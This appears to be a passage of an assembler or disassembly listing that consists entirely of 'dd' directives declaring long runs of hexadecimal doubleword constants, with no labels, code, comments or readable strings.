		dd 41E20FC4h, 0BCB0113h, 89C84714h, 92242F3Ah, 44279D79h
		dd 1618EC34h, 3C8C7DDh,	41EBE970h, 348F5724h, 4E85D06Fh
		dd 9AEA3C1h, 795FD568h,	71E1979Eh, 890EE53Ch, 68E8210Ah
		dd 0BC66102Bh, 3454AB9h, 3AC82527h, 4BE8D2F2h, 4701E280h
		dd 0C1B75366h, 5BD8FA28h, 0C8B42E50h, 0C5EE1820h, 9D7E1C77h
		dd 0E2D3593Ah, 2C0FBA7h, 5240D0B7h, 4A800FCCh, 3CBB842h
		dd 9D91245h, 7220D089h,	0B2520482h, 0ACCAFE86h,	6066038h
		dd 5BE9D2F6h, 5E2A1202h, 535918DCh, 0A1096851h,	51783362h
		dd 0FE0540CBh, 314B209h, 40C3C829h, 70F42D08h, 0E9601C0Fh
		dd 27DAF5B5h, 52D869FBh, 0D97544F1h, 217CE20h, 6843FC02h
		dd 896C6DD1h, 4C18F201h, 448E9BDh, 5273712Fh, 290642BAh
		dd 0CA745F62h, 242AAAB8h, 7E4A3AF0h, 0A45CE788h, 7E215C64h
		dd 0D1C20900h, 66A268E2h, 1C4F46BCh, 0C8D829B4h, 4369012Dh
		dd 0F801374Dh, 0E8074405h, 0C253DFF3h, 0BAE4080Eh, 1A349069h
		dd 51488CC0h, 0ADA2A42Dh, 7C6FE982h, 0F93504D2h, 0F90242BFh
		dd 0E14737C0h, 6BB8EDC3h, 4D25F748h, 35F05661h,	0AD63303Ch
		dd 8F891258h, 8A1E716h,	6602BEB2h, 52500128h, 0B6599468h
		dd 63EFFC1Eh, 0BE6F7792h, 0BB94C77h, 4AD87C28h,	0A71D8531h
		dd 20C64A2h, 0E943CC52h, 16037732h, 0E27594ADh,	0EE838027h
		dd 25220148h, 9CD2E602h, 0F090134Ch, 56505FAAh,	0C760B0B4h
		dd 67F78010h, 5BFD3928h, 0C51DDDBCh, 8CE9891Eh,	478FDF40h
		dd 562B6FB0h, 0C227C4BFh, 0E1A0D1CEh, 2C2FE95Ch, 0A5D22EA3h
		dd 0E6499B45h, 1A928442h, 382CAC01h, 6BD2CF04h,	0E6754764h
		dd 62F56912h, 1F72FAF0h, 26D15CB6h, 41F1072h, 0FD0899B7h
		dd 0A4EC07C4h, 2632A910h, 5B390D28h, 2EB29F07h,	19B84BE4h
		dd 7117B902h, 1CF05CADh, 425472FAh, 2CB953F4h, 400F12BEh
		dd 76638BD0h, 0C266097h, 0D45534Ah, 2D4FD6F6h, 1B8F7DCh
		dd 6CCB33C6h, 3005E0C1h, 5388D695h, 30E114B3h, 1C24A3DDh
		dd 2B27B67h, 5307C25Bh,	0DC25EB88h, 0AD509982h,	0D7676ECCh
		dd 0A20B7C2Fh, 6E9C1B22h, 1F6ABC5Ch, 68060FEAh,	4FEF3E1Fh
		dd 59BB0B94h, 0FEE7B040h, 8F49D4BCh, 29094B51h,	0B015E623h
		dd 42681267h, 107CE315h, 0DF4C068Fh, 0A38AF02h,	589B860h
		dd 0D0016660h, 0CBA4D1A3h, 144D761Ah, 830FD0A1h, 27224868h
		dd 160F71B9h, 0B98594Fh, 7C832EFBh, 5DFF40C8h, 563007B7h
		dd 0D8315E21h, 0BB6245DAh, 180DAF41h, 0BA65E991h, 74050079h
		dd 356EE438h, 7BB00C0Fh, 0B2C10124h, 0E3A2C512h, 12268E48h
		dd 5B5462ACh, 141825Bh,	0FE7252D1h, 0CF4A04D2h,	0F578904Ch
		dd 0E2F3FD88h, 0EA010968h, 0E9E09B9Dh, 0FD7DE27Bh, 84A497D2h
		dd 2C0DADD7h, 0DA600B1Ch, 16163F20h, 105AD301h,	298F0B3Eh
		dd 5628C775h, 3B6C27A8h, 5974103Ah, 9266545Ah, 70315EA9h
		dd 0D7667E56h, 0DB40275Bh, 74374BEBh, 0A09E9679h, 170CD008h
		dd 5633FF01h, 403936E9h, 0E2317638h, 0B4E7D8FDh, 1CDE5318h
		dd 6A860Ch, 874F6330h, 3D0EE9F7h, 0C9E888BEh, 5B3E84A0h
		dd 31590958h, 0B29E2F5Ch, 0C0B93C75h, 4BE56809h, 2D30CB46h
		dd 2EC68F26h, 0DF760BB9h, 7579F301h, 21BEB249h,	0F32CE9B3h
		dd 168BC745h, 69C52D02h, 59E00133h, 0FA837D3Fh,	0C121C20Fh
		dd 85F16E83h, 0F1138F72h, 68B70B79h, 5854C518h,	0C4BE055Ch
		dd 570B6EB4h, 5F135E71h, 0F61FDAF2h, 2CFF01D0h,	41EA801Dh
		dd 2614DB7h, 4F21645Ch,	7E8D1B55h, 0D4A2FD41h, 17DE20Fh
		dd 4B5BDF2Dh, 41E098C9h, 0AB7ECB3Ch, 0A03139E1h, 7505ED22h
		dd 2926491Ch, 8EBFB0Ah,	302A3426h, 18B55102h, 0C08DE580h
		dd 0EDD0CB4Bh, 0B730AA6h, 152FEC86h, 0B16961A2h, 3B3528E8h
		dd 0C160B017h, 0CAC1DC1Fh, 45C67D47h, 1021297h,	2A6304FAh
		dd 0CD9E3039h, 68227B16h, 0D3014E0Ch, 0E15B852h, 73891F27h
		dd 0F75DEA41h, 810480DAh, 3756ACE2h, 4B889522h,	25400781h
		dd 0DA31309Dh, 49BE895Bh, 0C0DC2A8Fh, 0E9D921BFh, 28695CBAh
		dd 41F15F80h, 0EE0B8194h, 84F536B3h, 2684FECBh,	10D00810h
		dd 0C10D7FD2h, 753A03E5h, 155AF8D9h, 1C207B4h, 0ACF2D9DAh
		dd 22054BE1h, 0F39840BBh, 0B1A5143h, 9FE9D8A3h,	0D8522559h
		dd 26C0EFF8h, 0B1514C04h, 58807B0Fh, 0EA785DC5h, 291B59CBh
		dd 1119BE0Fh, 0A7F68181h, 0EE0A871Ch, 46E725DBh, 7DEF7C3h
		dd 0E94B5C15h, 5B3ADC98h, 87E6297Dh, 741968FBh,	5E98C176h
		dd 74CBC020h, 0A53A1FBDh, 7ED4B7Dh, 0E59A5886h,	619DBA05h
		dd 2FF0225Ch, 902B8C2h,	7E92338h, 24B95960h, 6C013534h
		dd 6FB0F1C5h, 48910955h, 68C2F2E9h, 8E967CD0h, 19872D01h
		dd 13E944D3h, 7AA875h, 0FB2252E4h, 3BFA5E1Bh, 7ED84D4Bh
		dd 85BE0456h, 0A83FAE44h, 4E581BBh, 0D4307D98h,	85018275h
		dd 0A41748C9h, 0DF1E1D0Ah, 4C749FB9h, 8AC8298Fh, 1230AB56h
		dd 0C1585CE9h, 295AD06Bh, 277F61C1h, 5B510113h,	1C5F0959h
		dd 5527683Dh, 0AF28A24Fh, 238ECF5Ah, 0F8427C27h, 6FCAF6DCh
		dd 0CE82A81Dh, 0D8B6E921h, 3C6EE8D6h, 6FACEED0h, 0FA098EC4h
		dd 9227BBEBh, 0A167D55Bh, 107E380Ah, 8E4C1893h,	750B5C85h
		dd 0DE1580A6h, 22508603h, 2316EB92h, 0A3C31776h, 0FDFA0C1h
		dd 0BBFAA00Bh, 166C34Bh, 3A0757CAh, 3C691ABFh, 715EB140h
		dd 7169E9Ch, 0D0FCF781h, 99E94AD7h, 0C0533F5Ch,	6D6C2268h
		dd 4F5D7E5Fh, 0CBB18458h, 3DBF0EC2h, 4F2D2162h,	3F61D7F7h
		dd 60F540D5h, 167A2E20h, 0F176082Bh, 8D72825Bh,	748002C8h
		dd 0D00517DAh, 0E9D82923h, 5E496A31h, 21FDFB31h, 0E0A6149Fh
		dd 57F0AD7Bh, 6A64F5F2h, 0DA3B812h, 3327C704h, 100A844Dh
		dd 504C0893h, 2F46C911h, 4241440Ch, 5BFA5959h, 0E1B9688Ch
		dd 3458EA68h, 0CDD5CD13h, 0E02C3BEAh, 11F909B9h, 6900581Ah
		dd 62F24C50h, 671E1390h
		dd 0C146DD64h, 93606E3h, 34D261F1h, 23F8A780h, 455C1B1Dh
		dd 1A0E1CB1h, 0E587381Dh, 0F88F5812h, 3FBCC51Ah, 318C4B5Ah
		dd 0E7465DEBh, 297E4404h, 85ACDAE9h, 58C61276h,	0F66100D1h
		dd 17EC4845h, 4049E910h, 2DD00109h, 25B9367Ah, 0C9EC5045h
		dd 9C00D3B2h, 9F1143E9h, 3C8B2998h, 1B8121A6h, 9207235h
		dd 1A790D68h, 8C6691Ah,	5F0A2072h, 0E1255457h, 24BAD0E9h
		dd 5F51FEC9h, 96233AF2h, 5B2712FBh, 4C209B53h, 760E205Fh
		dd 7DC22D59h, 0FDF6D3CEh, 383D555Eh, 5169E02h, 2000BF58h
		dd 63683862h, 0AF299114h, 7F53C461h, 41482728h,	84C23DB8h
		dd 50092B9Dh, 0A57E621Ah, 34F6E635h, 0CC5A8B39h, 0BCD729BFh
		dd 0D4C91AF2h, 0E7B35460h, 0FAEBC03Eh, 255DDA49h, 68B6115Ch
		dd 0B76C78D2h, 0FB01F9B8h, 3630E914h, 3874054Fh, 0A9A87DD2h
		dd 5F089D73h, 18932C0Bh, 75EDE1F5h, 678D4714h, 210977D6h
		dd 8E9BA824h, 7C78258Fh, 0DE01D846h, 23054BACh,	0EA50FF98h
		dd 0B74FB031h, 0AF24E852h, 293CDFA5h, 5D4AF093h, 60F775BAh
		dd 0D1B231C1h, 500B6812h, 9A8DB9CCh, 46B2BDC5h,	2F000D78h
		dd 0F762415Ch, 0E994E9D3h, 0D82C448Eh, 13D3304Bh, 0B348982Dh
		dd 39681334h, 98D63407h, 0E9155320h, 768EF666h,	803D967Bh
		dd 0B789AA79h, 0EC5A5427h, 0E00CD311h, 6D3312Ah, 475830E3h
		dd 6F5E2624h, 0F9D68F05h, 0B3813968h, 6A15EB7h,	72B050C3h
		dd 0C40E6E2Ch, 6158C588h, 0C8FE59E8h, 27E956F0h, 833424DFh
		dd 435E8EA8h, 41C9A95h,	0CA12F4B4h, 46917ECFh, 0F95A6789h
		dd 0D362204Ah, 27835282h, 0E83AA514h, 84BF53D3h, 92C4565Ah
		dd 0C61D0812h, 5D0BFBD0h, 5D09C831h, 0C604E552h, 2D5E4A7Dh
		dd 0DCC77C82h, 0D1D0CD8Fh, 7D332050h, 0FB8B640h, 76C742DFh
		dd 14A23F49h, 76540C33h, 634C2C64h, 0EB068135h,	12A765AAh
		dd 37B0059Ch, 0C5450924h, 0CD7480CAh, 0C3B62ACh, 0B3F50111h
		dd 140787Ch, 7F40DC31h,	4FC6835Bh, 223B2902h, 485E27ACh
		dd 8141B89Bh, 2D65725Ah, 57903852h, 80707D68h, 4E4C25E9h
		dd 0F830A144h, 87790CF5h, 42468A4Fh, 0D2F810D1h, 4FA2454Fh
		dd 0D5CAA258h, 0CFE90957h, 0A4E5C40Eh, 744CD281h, 1547A96Eh
		dd 0BF80DE9h, 8007E8C1h, 0A95AE6F8h, 205EB001h,	0FC0ADEF7h
		dd 0B7F9AA0Ch, 9C5B2F00h, 98F30102h, 5E0881F4h,	0DEF2F531h
		dd 0DF047A6Ah, 0B584443Ch, 0C782010Bh, 6800D59Eh, 4BFD6AEBh
		dd 8413C06Dh, 24616973h, 9921950Ch, 92CCE9F4h, 0F85E5026h
		dd 75423F30h, 164A4E7Ch, 4232E77Bh, 0D82010A6h,	25FC404Bh
		dd 289C400Dh, 21C2D4Ch,	0E6E92088h, 0B130CB10h,	0F223550Eh
		dd 156C5A26h, 5C279807h, 596157A3h, 1C772712h, 1202C780h
		dd 730A587Ch, 3B081110h, 81010083h, 34ABA4F1h, 8B9A98CBh
		dd 0AFC6A5F0h, 1F16B769h, 778B2D9Bh, 0CB2AD95Ah, 0E9424051h
		dd 2F3774D2h, 0FD1C820h, 292D55A5h, 8241C674h, 0F292C20Ch
		dd 81DC0DAh, 38596494h,	7858E977h, 0F66C215h, 2D48E4B3h
		dd 0D368B499h, 2C27021Ah, 506E046h, 794B0248h, 87FE972h
		dd 4F2F94D1h, 0ACE9068Ch, 9EBDBEB9h, 62E91285h,	0E57A572Ch
		dd 2CFE2D6Ah, 0A249353Fh, 0D641D53Dh, 0C4106ACDh, 1239BD50h
		dd 8945C3F5h, 0F6C005EDh, 4CF4DCAh, 5DEA01FEh, 143C8057h
		dd 9900215h, 97C0A67Ch,	0F704D0EFh, 10294A3Dh, 715908BFh
		dd 1C81D193h, 796800DCh, 101BB70Dh, 6D055AC8h, 0BA296B4Fh
		dd 9E6999F8h, 0C9E942A0h, 2094F0ABh, 0F3FA82C1h, 0F1288810h
		dd 0CFD02914h, 0B418B10Ah, 9CE901FEh, 0FA015AF6h, 0A2B3D58Eh
		dd 0A4616213h, 3FBA5D71h, 40A5E678h, 18CBCCCBh,	0B32E8E9h
		dd 0EDA9B382h, 921A59EEh, 2AEC537Dh, 88D49DB4h,	124275A5h
		dd 9F26ED01h, 0E9C57253h, 6CF6E3E8h, 6B31CCD3h,	0E1AFEE29h
		dd 1A46F68Bh, 0DA5BE916h, 3AFB5642h, 62714263h,	0B5BF16E7h
		dd 0E9175C94h, 818D0543h, 536D15E5h, 42DEC303h,	0D8F92E8Dh
		dd 2D06815Bh, 3692603Fh, 0E97D56E1h, 5EF04062h,	8853D590h
		dd 0BA52D339h, 9B30A4DEh, 0F501FC11h, 0ABC0E285h, 0EAE9F301h
		dd 49752E46h, 24E96DCCh, 98E3B2B6h, 7ACE2481h, 58463F00h
		dd 4A5DBA52h, 11E7EDFh,	0EF7C08CAh, 20EAC111h, 0CCB0D274h
		dd 1AC6A5D2h, 0C0833DCBh, 266657D0h, 1918C885h,	0C52C6B81h
		dd 71D27052h, 75896D4Ah, 9853B2E1h, 805BC028h, 0B7E73F5h
		dd 0EDD091E5h, 0C0328459h, 15661FEh, 2A8459E1h,	0AB60E9D7h
		dd 8008D253h, 4BECA002h, 9A8984C7h, 4834843h, 45127A32h
		dd 647147A0h, 80DF9D38h, 0B725860Ah, 18DD1250h,	747E5516h
		dd 81413D4h, 2F424940h,	4B98C166h, 0C98100D2h, 753D47C7h
		dd 325DF614h, 0F76882FEh, 0D9C40F59h, 62F7D75Eh, 1748628Fh
		dd 351EE3EEh, 39C93F19h, 0B996EBC6h, 5A033CEFh,	81C48EE9h
		dd 0BF16C16Fh, 8C30BA2Ch, 0F247C341h, 1A9B3CC6h, 12D3D4DFh
		dd 0C5CB8A4h, 8F66C331h, 0B164AB86h, 2A3E765h, 5DEF0109h
		dd 3CBF9238h, 4A1B6695h, 57698272h, 3DFB6240h, 0BF371A00h
		dd 0C946D185h, 5EF73F01h, 315324h, 0B9A11A4h, 919A45E9h
		dd 430A834Ah, 68E2D15Eh, 13C7102h, 0B96CA2BBh, 0B7C94055h
		dd 0B216BCA0h, 0A939DE29h, 59BB412Fh, 0FE08760Dh, 44A58E51h
		dd 0F92F6105h, 0E375C980h, 0B07297EDh, 0A3B55111h, 3C73CDFAh
		dd 880DED02h, 0F4F9E9EAh, 376CC9E7h, 23E0520h, 0B2671EBFh
		dd 9EFE291Dh, 0D3DEB08h, 0D1B014F7h, 292720DBh,	0A0666900h
		dd 0F68FE4B9h, 2ED9F2BAh, 3D27415Bh, 77696E81h,	0E459CA01h
		dd 1918FDEAh, 0DC0C54A0h, 3F122025h, 7A28010Eh,	0E2C28A4Bh
		dd 6C980822h, 9B5CBB0h,	273BCEB3h, 0E546D0F7h, 0FEF30DD3h
		dd 9F87B7Fh, 0D37E9C7h,	527A5166h, 4C4A422Fh, 0B24946Fh
		dd 9480310Fh, 3D5AB6BEh, 0A0BF5778h, 8C051F78h,	0F0DC904Dh
		dd 68BB261Bh, 0B2EC135Fh, 7F583412h, 7378F800h,	0ED012DE6h
		dd 8069A44h, 12771768h,	200EFCE9h, 635AA9EEh, 40B21851h
		dd 9CA5554Bh, 0F329E704h, 0CBD2D3E9h, 4D9C8042h, 25B7C08Dh
		dd 0FD24D031h, 0C3742D59h, 15440F2h, 82ECF950h,	909A515Dh
		dd 0F668828Dh, 0E5767956h, 0E9D5805Ah, 874940Ah, 19280234h
		dd 0FAD0BA23h, 2596543Dh, 0D9EA512Eh, 0B35A6591h, 0B368C2B5h
		dd 27CC7108h, 0ACBC2293h, 0C83B3F7h, 0C94AE90Ch, 889C5F5Eh
		dd 0CE10FB2Ch, 0B09A194Ah, 45F07344h, 0F6EE2093h, 0BB28EA67h
		dd 6A307DD1h, 8DAE137Fh, 5C52A4A6h, 2FF49815h, 0FE28145Ch
		dd 80949Ah, 4E0CB7B9h, 4C64017Bh, 29EB59BEh, 0AC134992h
		dd 135E5A07h, 0A370BF68h, 2935405Ah, 560369B0h,	420F2B68h
		dd 0BC674813h, 553BEC25h, 68D4A1DAh, 0EBCAFE0Eh, 0C1A2419Eh
		dd 0E0504171h, 4C8F0A6Fh, 0D9263603h, 0BEA04994h, 5B8E0BDEh
		dd 0F7515F78h, 0E6593A07h, 0AF425D7Bh, 49D82B9Fh, 42A268F2h
		dd 0B40225CAh, 6A92523Ch, 282D1100h, 764CC87Ch,	504F495Eh
		dd 81317D0h, 968751B0h,	0D33470E2h, 8DACBD85h, 0C9BD893Fh
		dd 817A5400h, 4217C0CDh, 28087D1Ah, 22C16E7h, 0C3283D1Bh
		dd 2A6126E2h, 0D178346Bh, 3F093690h, 495AAB4h, 0F604D36Bh
		dd 0F820C5F1h, 83444E13h, 0C003203Fh, 0C7C107E1h, 0C2BD50E3h
		dd 8C4B6424h, 4C0A0083h, 951A8BEFh, 86090F47h, 525DFA52h
		dd 0C8F94094h, 1EB307E5h, 0B51600BDh, 5AF5308Ch, 4CEC5FEh
		dd 28278280h, 0B3353ECh
		dd 0A9102B73h, 0E33019EEh, 8B8F8E14h, 0A9D4CA4h, 0AD6BAF34h
		dd 27764CA5h, 0C0576A80h, 80B4BC0Eh, 6377DBBDh,	88893426h
		dd 5AE0E027h, 5EB02C1h,	0C45BE957h, 0C6654EFEh,	60C4B0C4h
		dd 0CDC4CCA2h, 52CF1EADh, 16EC0551h, 4DC47BA8h,	0FADCB4BEh
		dd 6DDA0C01h, 8106E1C1h, 3A202270h, 0D8A6638Fh,	0E63FBFEEh
		dd 7FBF5700h, 3146182Bh, 4A08FE58h, 0BA7ABE21h,	0F392F93Ch
		dd 58AB5CF2h, 784F69CEh, 8AD84B19h, 33523F69h, 0B3D2AC6h
		dd 462CE813h, 0E31BC06h, 0AF4E597Fh, 62ADB382h,	804956ECh
		dd 5A3F7B05h, 0B00B2D38h, 841CAF5Bh, 0BE0056A6h, 0F8A61BAh
		dd 24F2013Eh, 0B8AD0F87h, 81458F37h, 0A00A512Dh, 0DE292DF5h
		dd 0A8B0BBD3h, 5A6DECACh, 28EACD56h, 65D68957h,	78E90414h
		dd 0DB39EF5Ah, 9680520h, 35717ACDh, 0C282DA46h,	0F7FEFA01h
		dd 810889D7h, 9851D2EEh, 0E76F58A1h, 7668722Dh,	33BC125Fh
		dd 0E1109349h, 0D096E568h, 82141DD1h, 7B1825C5h, 0F62CE285h
		dd 9EC14E30h, 0B7780C36h, 75A2E096h, 0B6B53BB2h, 419290A1h
		dd 0BE0E6FCAh, 7EF50F79h, 0BFD28065h, 7A442658h, 0EA76480Ch
		dd 316FC580h, 0CCED07F5h, 613024DEh, 39151875h,	6D1B407Dh
		dd 6CED201h, 5AE9EB89h,	99B6123Fh, 4BFA52C8h, 0B907A2D8h
		dd 675365E1h, 0AF03FAA2h, 1F2CA169h, 8E3D2728h,	4361C805h
		dd 0F1348976h, 0E90C486Ch, 681F5425h, 9D3720D7h, 0F8F1B793h
		dd 0FBB025BBh, 4BF9F1CCh, 36277E77h, 0F800EBD8h, 0B03EB875h
		dd 5BD5409Ch, 76CA0500h, 0F82904E5h, 407A22Dh, 0C1DBFE2h
		dd 9A4F2710h, 0D212BB4Ch, 4510B81Ch, 4301E849h,	7DA0E381h
		dd 0F3B0DFABh, 0F2A21521h, 0A73BF7F6h, 505C99D0h, 52D7286Ch
		dd 44DFE3CAh, 0A44AE905h, 48D9C16h, 0AB878E01h,	3F5BE5A6h
		dd 8498C1A0h, 2C721948h, 0AE12936Bh, 681CF0A3h,	0CC92AD16h
		dd 356E204h, 0B086A1BFh, 0F8F72992h, 9701BE93h,	0AE7DEE1h
		dd 0FA3FDDE9h, 0D696096Fh, 0A7D127A9h, 3E5A4Bh,	38852B86h
		dd 7E4AE805h, 0D6354900h, 0E9F93036h, 0A4594F53h, 8001CF6Dh
		dd 8305E20Ah, 448A5D38h, 2072DC8h, 73416859h, 0A70040A9h
		dd 17ED0650h, 0B54B930h, 65FF929h, 0E5462505h, 7824773h
		dd 1E4A6364h, 8868D4C0h, 0EE18950Fh, 0F9133761h, 8E015F35h
		dd 3BBF39FBh, 97D162Bh,	787C64D5h, 78F209C9h, 737598F7h
		dd 0B6F53DEBh, 9D00E7A5h, 9E4CF9BEh, 0D41455Eh,	0BA61B303h
		dd 0B5C60B6Bh, 975B43A5h, 65C392B4h, 0BD013351h, 7C3320CFh
		dd 8D3864F5h, 0C0EFB500h, 0E58005EDh, 0B0504207h, 34270428h
		dd 130A93DEh, 1016B0C5h, 0EB2C86DDh, 8B3EF2D0h,	5C6B62CFh
		dd 0F1E9C8D4h, 42F3422Eh, 0FFF0BA66h, 2F5A601Ch, 4002C5A4h
		dd 6020BC49h, 26268A33h, 1F3F6F47h, 1378CB32h, 0B3C8B004h
		dd 5C2F79F8h, 9FFA6C50h, 0E90240B8h, 925B059h, 87506658h
		dd 98B27189h, 16E151D4h, 0B5F80B5Bh, 57D9A729h,	66367B0Bh
		dd 4CAE2DF3h, 384556E9h, 1F24EF0h, 0D7CCE3D6h, 0E8BC3191h
		dd 8A136BBBh, 7536F409h, 2C9C110Fh, 58328945h, 64A0B46Dh
		dd 101AADFEh, 9E40A996h, 0C2161283h, 0D5180F70h, 0CAF6B4C4h
		dd 0FB4B7BCCh, 0EE74549h, 6B75E054h, 67D3F752h,	72DD1250h
		dd 1096173h, 68135D5Bh,	0BADB6220h, 3179A46Eh, 0F4575263h
		dd 0D05D020Ah, 59B0FCD1h, 288CC47h, 399C2998h, 2E6C9D32h
		dd 0D860A6BEh, 971AC67Ah, 80923EAh, 0D6D39843h,	48D4894Bh
		dd 960C9D88h, 0F7885AA7h, 127E4706h, 0F84B3FCAh, 34E32A03h
		dd 0CE0158FBh, 13088280h, 74CBDA17h, 0D8010E64h, 0D7581FE9h
		dd 16E79EBFh, 37E5B2E9h, 0B8C9840Ah, 25400093h,	6C870D47h
		dd 9D65192Dh, 7F5E30BBh, 16C1B847h, 0DA58EFE3h,	0D9C8EAABh
		dd 67DE4F4Fh, 0F82CFF9h, 4051C8AFh, 83A88A0Ch, 3484210h
		dd 0BEE8813h, 8180F09Bh, 66772CC8h, 55099BACh, 511861E9h
		dd 908125Ch, 0D9DE5D9Dh, 0EC284E9h, 0E0A7550Ch,	0D74F4C9Ch
		dd 4C668204h, 1AC95F0Eh, 3127CD50h, 0C8BE60CFh,	63E13F4Ah
		dd 6468410h, 9207D005h,	0AAB255Eh, 0E82F1DD9h, 0BF5A5438h
		dd 9AB54514h, 6D225692h, 528F5082h, 801CC9B2h, 0EBCE35EAh
		dd 0ED30F88h, 0CB04B7C3h, 2DBF3E18h, 897CB9ACh,	915651DEh
		dd 0A750C106h, 3C4A410Dh, 0E096671Bh, 57680008h, 0C289BF6Bh
		dd 150A59Ch, 0AFE913CAh, 5839ED55h, 42C7000Ch, 0F4826F30h
		dd 5A013BFCh, 0D930B4D5h, 0C1B7409Bh, 4605EE1Eh, 0C0F44B7Eh
		dd 1CA76499h, 0ED0BFEFEh, 714AA2F9h, 6E32553Bh,	70C1B70Fh
		dd 0C54A2103h, 7F3FD1E9h, 4A527176h, 2E0A8962h,	0F716DA8Bh
		dd 3281E1F1h, 84099208h, 0E5CA32CFh, 0E84A27B0h, 72598931h
		dd 0CE0E12DCh, 515E4291h, 0B966003Eh, 0BF1D9D52h, 0CA62E938h
		dd 0FA25DD29h, 8AC94E20h, 8F858257h, 204893C6h,	334141F6h
		dd 0F4969679h, 576C315Eh, 30E906F0h, 0E3734446h, 140673B5h
		dd 4DEB877Eh, 0C1909006h, 0A4720CD0h, 9A1D3046h, 44104312h
		dd 3C07E21Fh, 0C9C02B25h, 0E5D90998h, 8A4E1880h, 0CB31CA06h
		dd 0F5C1594Eh, 0FE04571Ch, 66E8FD07h, 515E1FDEh, 0ED80B440h
		dd 0B202E985h, 84681312h, 0E02FC966h, 0FDB31235h, 540CB702h
		dd 2611D43Fh, 658002A7h, 0DA50FAA0h, 6834B52Dh,	7F14EA42h
		dd 36C09509h, 510F3E05h, 8BE92D48h, 598F19D8h, 581A3F37h
		dd 0F0851CA6h, 1E2BC69h, 0C34387BFh, 0BB7C290Dh, 0F8243D6Ch
		dd 181B140h, 0F5A614C7h, 0F4FA2194h, 0EB2393Bh,	2E8FD48h
		dd 96694DC5h, 0C787C001h, 264311Bh, 0EDD9F918h,	25E6DCEh
		dd 0F45F3C6h, 0B090E01Ah, 0BC7327DCh, 0DF203402h, 65806DDCh
		dd 0C12C760Bh, 0F9074CEBh, 7EA8A04Fh, 0A728093Fh, 97A7221h
		dd 0FAF7FEA4h, 9000E4E2h, 46EE5D50h, 0B3043D98h, 29557E12h
		dd 0DC7DE902h, 560B47ECh, 64177068h, 0C78E8134h, 31C225B1h
		dd 0DD5BD51Dh, 0C9CE3052h, 0CDB3A5C4h, 610149C2h, 68EE251h
		dd 2CEC058h, 0D980E36Bh, 0DE20A9F3h, 0EE1D5B7Fh, 0F3BDF6C7h
		dd 17453B5Ch, 0D420637Fh, 0B845319Dh, 0EA680F9Bh, 5DEFE252h
		dd 406BE84Eh, 0B6C90366h, 165BD458h, 2A24B22Dh,	4F12E9B2h
		dd 9F1ADFF7h, 612DDC1Bh, 5759CD29h, 0EE7766C6h,	0CEB5FB7Ah
		dd 0BD19302h, 4E2B7CE9h, 0F3DAD333h, 7001B2E9h,	4AB4C310h
		dd 0C8885007h, 4058C222h, 0BF5AD789h, 61A49089h, 0BEA3257Eh
		dd 0E7890289h, 4225A0E4h, 0F7505A4Fh, 6BD4F4F6h, 7A155420h
		dd 87903CBBh, 5551209Ch, 1BEB607Ah, 1D486F17h, 3559090Eh
		dd 74AA200Ah, 2014A491h, 0B50ED701h, 631E4129h,	70DDE9F8h
		dd 7DBB06C6h, 0F2130418h, 70B71BA8h, 86D7F60Eh,	8D68CF7h
		dd 0FFEF1C80h, 5207C0C0h, 0E97EB151h, 49C96E54h, 0F10181E2h
		dd 162D5FDBh, 9968CE29h, 540393D4h, 1415039h, 5A1080B4h
		dd 6B06042h, 8DC1977Dh,	5D440667h, 0EF8FDCE9h, 2C42BE56h
		dd 0C8D6512Eh, 2FC2811Ch, 4076BD59h, 6260E1B9h,	5636C066h
		dd 30701A80h, 7AC117DAh, 2D6DE768h, 18C5EAD8h, 0C08AC2Eh
		dd 187D3B8Eh, 10F22924h, 0E9120820h, 0F2F20803h, 9B589D27h
		dd 0B15E115Ah, 6C9CA492h, 426B089h, 0A0685B5Eh,	1036E31Ch
		dd 0A94C52CEh, 0E30A4613h, 0C1DB1025h, 689D0F5Bh, 76711069h
		dd 0C148A0BCh, 0D81F9BB2h, 0F5FE216Ch, 0B4146E95h, 80EC5D30h
		dd 144EBD55h, 0E90C0815h, 5E003A3Dh, 4A63EF81h,	0C1504F8Ch
		dd 81F209ECh, 1D24CA18h
		dd 0C8DB7722h, 0E0D1ABAh, 0D789576Dh, 0E98A0F53h, 0F122B06Bh
		dd 7ECC6FB2h, 13DCCDD0h, 2752CC5Ah, 26CD7A00h, 0BD2910C8h
		dd 0B15B6304h, 390C068Dh, 0BC4FE9F6h, 9AE3A212h, 290F4648h
		dd 472B652h, 0B016E944h, 0F825318Ch, 60A87956h,	4BF51B3Fh
		dd 0E9041283h, 0CD75539Fh, 13CA6953h, 3BC8C830h, 540CF5DDh
		dd 0BCF3949Fh, 6402E424h, 4C1516FDh, 0B2124A18h, 1A4E08CDh
		dd 44D4592Dh, 805C20C0h, 0EA904CECh, 66A43125h,	0F17981C6h
		dd 0A73ED54Eh, 0C4B46A0Ch, 0F846205Ch, 751ED9F5h, 0DD8240C3h
		dd 7B508D2Ah, 0C282A8DDh, 0A184001Ah, 0ED69D13Bh, 2F14B6E0h
		dd 75833D7Ch, 0EFEC8CE9h, 4004F25Fh, 169444B0h,	5E4543B8h
		dd 81A52E2Ch, 3AFC2772h, 68F0A857h, 0CE65179Fh,	16F8592h
		dd 4694C0Ch, 0E05E717Ah, 1B12E91Dh, 0AD08CB09h,	0A8CD81A3h
		dd 7035903Fh, 98ECAE1Eh, 44C901ECh, 0AD6F156h, 0A880B0E9h
		dd 23E10BE2h, 4FC25DDAh, 0F5ABB882h, 5E5A2DDEh,	9D76D244h
		dd 514CA15Ah, 0C824C9E9h, 7F68125Eh, 0CE843673h, 88310701h
		dd 2259E939h, 0EE4E416Eh, 6E388A33h, 9213EA84h,	50A256BDh
		dd 25D9DF40h, 8B75C93Fh, 69CCE9E8h, 1C60E0C1h, 2E675032h
		dd 9A7D1EDBh, 0C5BFD08h, 8718530Bh, 7B772300h, 8C5C45BBh
		dd 17F7B866h, 20582BE9h, 482AAEBCh, 99F6976h, 59FA4864h
		dd 0ABFA55E9h, 376F0C8Dh, 3573F19Dh, 92904A8Eh,	0B149BB09h
		dd 0C5517465h, 7500DEF7h, 3C5F9F0Ch, 831D4E8Eh,	8FC6AFEBh
		dd 6970E93Dh, 0E30D0142h, 0CFD7D328h, 0FDE0A45Fh, 0D41BA218h
		dd 9744E49Dh, 2A983300h, 0F7266CC0h, 310071D2h,	0E956FD02h
		dd 488F9AA5h, 98932901h, 552FE9DFh, 0FA01ABA7h,	0F50CD7B2h
		dd 0DD5730BEh, 3EEE23C0h, 908056DFh, 0F946B715h, 5238B0B0h
		dd 5BB2C8B5h, 0F1EC5829h, 0A816D2A0h, 0F8451513h, 10689412h
		dd 1A49A661h, 1F336778h, 8243174Bh, 1E6A2E2Ah, 0B0CEFC0h
